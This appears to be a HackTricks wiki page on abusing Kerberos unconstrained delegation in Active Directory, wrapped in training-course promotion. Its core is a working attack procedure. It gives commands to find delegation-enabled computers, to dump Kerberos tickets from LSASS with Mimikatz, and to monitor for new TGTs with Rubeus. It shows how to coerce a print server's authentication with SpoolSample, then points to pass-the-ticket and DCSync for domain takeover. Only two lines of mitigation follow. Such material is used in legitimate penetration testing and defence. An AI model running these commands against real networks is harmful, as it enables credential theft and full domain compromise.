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82 lines
5.6 KiB
Markdown
82 lines
5.6 KiB
Markdown
# Unconstrained Delegation
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Unconstrained delegation
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This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
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So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).
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You can **find Computer objects with this attribute** checking if the [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) attribute contains [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
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<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
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## Powerview
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Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
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<strong>## ADSearch
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</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
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<strong># Export tickets with Mimikatz
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</strong>privilege::debug
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sekurlsa::tickets /export #Recommended way
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kerberos::list /export #Another way
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# Monitor logins and export new tickets
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.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
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Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
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More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
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[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
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### **Force Authentication**
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If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\
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Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
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To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
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```bash
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.\SpoolSample.exe <printmachine> <unconstrinedmachine>
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```
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If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse/#dcsync) and obtain all the hashes from the DC.\
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[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
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**Here are other ways to try to force an authentication:**
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{% content-ref url="printers-spooler-service-abuse.md" %}
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[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
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{% endcontent-ref %}
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### Mitigation
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* Limit DA/Admin logins to specific services
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* Set "Account is sensitive and cannot be delegated" for privileged accounts.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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